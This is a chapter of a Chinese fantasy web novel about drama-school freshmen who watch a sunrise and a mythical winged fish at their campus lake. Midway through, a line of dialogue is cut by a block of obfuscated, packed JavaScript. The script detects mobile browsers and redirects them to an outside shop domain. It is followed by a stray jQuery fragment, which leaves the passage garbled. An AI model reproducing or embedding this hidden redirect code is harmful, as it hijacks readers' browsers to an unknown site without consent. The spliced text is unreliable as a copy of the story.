“哇,”贺今日惊讶地感叹,“这么多零食。”
花晃月也难以置信地看着他,“你收拾这么久,居然是在装零食……?”
“也不全是啦……”赵华清小声嘟囔了一句,拿出两包薯片,“要不要来一点?”
“谢谢。”花晃月接过薯片,顺手传递一包给站在另一边的贺今日。
贺今日也没有拒绝,“一会儿吃早餐刷我的卡。”
“好耶!”
“为什么是你在答应啊?”
“不要在意这种小细节。”花晃月拿出手机看时间,“距离日出还有二十分钟,”他收回手机,撕开手里的原味薯片,“你平常直播也这么早吗?”
“没,我一般六点半左右开始。”贺今日说着,也撕开手里的薯片。
清爽的黄瓜味,赵华清同学很会吃。
“这么早?”赵华清转头,手上还拿着一片泛红的薯片,“你播什么?”
“早上播晨练。”贺今日回答。
“晨练?”两人同时发出惊讶的声音。
短暂的惊讶过后,赵华清恍然大悟,“我想起来了!那个人原来是你。”
“哪个人?”
“为什么是你在问……”贺今日侧目。
“你的直播间是早上唯一一个稍微安静点的直播间。”赵华清笑道,“这个暑假陪我看了好多篇论文。”
“你六点半起来看论文?!”贺今日和花晃月齐齐看向他。
“差不多吧……”赵华清被他们看得有点不好意思,“醒都醒了,总要干点什么。”
贺今日敬畏地沉默了几秒钟,突然想起自己在主播后台看到的内容,“你怎么不去专门的自习室直播间?那种直播间都是能让人静心或者专注的精神类超能力者开的,还有专门的能量-信号传输阵法。如果挂在那种直播间学习,效果肯定更好。”
“你说得对,”赵华清沉痛地说,“但他们最早的开播时间是九点,还不一定每天都开。”
“啊?”
“就是这样。”赵华清叹气。
“这种程度居然可以叫自习室……”花晃月咋舌。
“这种类型的直播居然也想不播就不播……”贺今日呆呆地说,再次被同行刷新三观。
“早上好,同学!”
忽然听到后方传来热情的问候,三人同时转头,手上拿着三包不同颜色的薯片。
来人有两个,都是男生,也穿着军训服。主动跟他们打招呼的人表现得很热情,右手还保持上举的姿势跟他们挥手,另一个就显得冷淡些,只是平静地看了他们一眼。
没等他们说话,热情的同学走上前来,“我们都是编剧专业的新生,我叫尤观,这是我室友,张相文。”
张相文对他们点了点头。
贺今日上前一小步,从右到左依次介绍道,“赵华清、花晃月、贺今日。我们是表演系的。你们也过来看日出?”
点到赵华清,他礼貌地看着两人挥了挥手。而到了花晃月,他却只对尤观同学轻轻点了点头,看都没看旁边那位。他似乎很不喜欢和表现冷淡的人打交道,表面功夫都不愿意做。
“是啊,”尤观挠了挠头,“我想着今天开始军训,这儿肯定没人。就叫上室友一起过来了。”
“别人也会这么想。”张相文淡淡地说。
“那你怎么不提醒我?”尤观看向他。
“懒得说。”
“你!”尤观似乎被这三个字激得有点生气,但因为性格比较和善,强忍着没有发作。
张相文没管尤观,还是很冷淡的样子。他装作不经意地扫视,但视线全留在花晃月身上。
“怎么?喜欢我啊。”花晃月挑衅地问。
“不,虽然你演技很好……”张相文摇摇头,认真地说,“我喜欢你外婆。”
“一本正经地说出了容易让人误会的话呢。”贺今日嘴角抽搐。
“哦,没品位的家伙,算你有品位。”花晃月答了一句,继续吃薯片。
“这种话是怎么说出来的啊?”贺今日转头看着他。
张相文尴尬了一瞬,随即硬着头皮问:“呃,请问你可以帮我……”
“不可以。”花晃月打断他的话,“从小学五年级开始,我就不帮别人带外婆的签名了。”
“好吧……”张相文失望地退到一边。
“一副要去墙角画圈圈的样子呢……”贺今日眯着眼睛。
“同学们,早上好啊!”突然,又有一伙人从不知道什么地方窜出来,“我们带了早餐,要一起吃点吗?”
贺今日的视野中央,一个有男有女,背着大包小包,粗略估计有二十多个人的团伙正慢慢地走过来。有些专业一年也就招这么多人。这帮人也穿着军训服,彼此之间没有表现得多么熟稔,但又确实能看出是一个团队。
应该是哪个专业的集体活动,贺今日想。他小声问旁边的人,“我们要不要避一下?这些人里你的粉丝估计不少。”
“不用,这地方视野好。”花晃月毫不在意,“再说了,哪有喜欢我还要让我让位的道理。”
他誓死保卫最佳观景点的架势让两个室友都忍不住一乐。
见他们在说话,尤观迎上去做了介绍。那边人多,他就只介绍了专业,“我们俩是学编剧的,那边是学表演的,你们是?”
“哇,学编剧的大神!你好你好,我们是学舞台设计的。”那边的领头人说完,直接递了一袋面包过来,“来,垫垫肚子,甭客气。”
“不不不用,我们都还不饿。”尤观连连摆手。
“那那边学表演的同学要不……我去!月神!”
花晃月转过去,冷冷地看着他,嘴角扬起一个标准的假笑,“谢谢,我们也不需要。”
“哦哦哦哦。”领头人发出略显兴奋的声音。
看得出他很想上前搭话,但硬生生地被花晃月高冷的气势压在原地,不敢冒进。
不愧是影帝。
见他们没有要凑过来的意思,贺今日他们也不再关注那边的情况,专心等待日出。
又过了几分钟,天边隐约出现一点点极微弱的光晕。贺今日打开无人机的人脸屏蔽功能,放飞无人机,打开直播。
“我的脸可以拍,如果你需要的话。”花晃月主动开口。
“我的也可以。”赵华清紧随其后表态。
“谢谢……”贺今日刚说两个字,就听到远处传来一声惊喜的感叹。
“赶上了赶上了,我就说四点二十出门来得及吧?”
“诶,这里怎么这么多人?”
“早上好,同学。”学舞台设计的同学的声音也远远地传过来,“零食要不要?”
“要!谢谢你啊同学。”
不知来者何人,也不想知道来者何人。他们被人墙挡在外面,贺今日自然也不会专门跑出去围观。
“看来……我们这一届的聪明人很多。”他幽幽地吐槽。
“是啊,所以聪明人都笨……”赵华清也用吐槽的口吻附和。
“早上好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897640|212543||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,同学!”
“早上好,同学。”
“早上好……”
远远的,又听到几声。这帮学舞台设计的家伙词儿都不带换的,一句问候从头说到位。
等到湖边乌泱泱地站满一片,莫约有七八十个聪明人的时候,日出终于如期而至。
路灯适时熄灭,天地一暗。天边外,太阳慢慢钻出云层,阳光一寸一寸地接近,越来越近,越来越快。朝霞在天上、湖中一同亮起,不知道当初修建这片湖的时候刻画了什么法阵,湖中的朝霞竟比天上的更艳几分,湖水激荡如火海沸腾。
仅仅过了十几秒,众人就被笼罩在太阳的领域里了。
“好漂亮……”赵华清呆呆地感叹。
“这水怎么动得这么急?”贺今日看到屏幕上那些说“要地震了,主播快跑”的弹幕,答了一句,“不可能是地震,一号主星没有地震的风险。”
“多放几架无人机。”花晃月拿着摄影机,头也不回地说。
贺今日疑惑地看他一眼,把剩下几架无人机都放了出去。
湖水激荡的程度越来越大,在火舌似的浪花出现时,一条巨大的鱼从湖中跃起。巨鱼浑身青色,只有眼睛部分有白色花纹,齐尾长的双翼收拢,长在青色的鱼鳍两侧。
它跳得很高很高,遮住了半个太阳。一时间人群发出整齐的惊呼声,然后是细碎的讨论声。
“鲲鹏?”赵华清惊讶又疑惑地喊道。
“这是衡门大学供养的神话生物,叫尝云,具体是什么物种不知道。反正全天下就这一只,你直接叫它名字就好。”花晃月说,又问贺今日,“拍到没?我这边有点没跟住。”
“拍到了,回去发给你。”
“好耶!”
“它也叫尝云?”在不太近的地方,一直偷偷关注他们的张相文忽然回头接了句话。
“对……”花晃月瞥了那边一眼,“我外婆当年上学的时候和它关系很好,就想给它取个名字,但取什么它都不满意,非要叫这个。她后来还想过要不要改名。”
“花尝云老师是你外婆?!”赵华清一副被雷劈了的样子。
“……你跟外婆姓?”伴随着贺今日没抓住重点的问题,尝云落入水中。
滔天的水花溅起,又被湖边的防护法阵拦下。它双翼微微张开,眨眼间穿过宛若正在燃烧的湖中朝霞,离开众人的视野。
“姓花好取艺名嘛,我的出生可是寄托着外婆的巨大希望。”花晃月随口回答,又看向赵华清,“你看的论文里没写么?”
“没……没写……”赵华清还是一副怀疑人生的样子。
“论文里当然不会写。”张相文故作平静地插话,“我是因为在去年的青少年编剧大赛进了前四强,尝云老师过来给我们上课,课上听她提起才知道的。她还嘱咐我们不要往外传,说可能会影响你的形象。”
花晃月理都不理他,眉眼弯弯地看着赵华清,“想要签名啊?”
“当,当然想,但是……”赵华清支支吾吾。
“回头给你。”花晃月又看向贺今日,“你要不要?”
“我非常喜欢尝云老师的作品,也很尊敬她。”实际上,这位殿堂级表演艺术家是贺今日少数能记住名字的演员之一。可他还是认真地回答:“但签名就不用了……谢谢你。”
“行。”花晃月把摄影机收好,“走,吃早饭去。”
三人并肩走远,留下一个双目含泪的伤心人。
“为什么……为什么他们就可以……”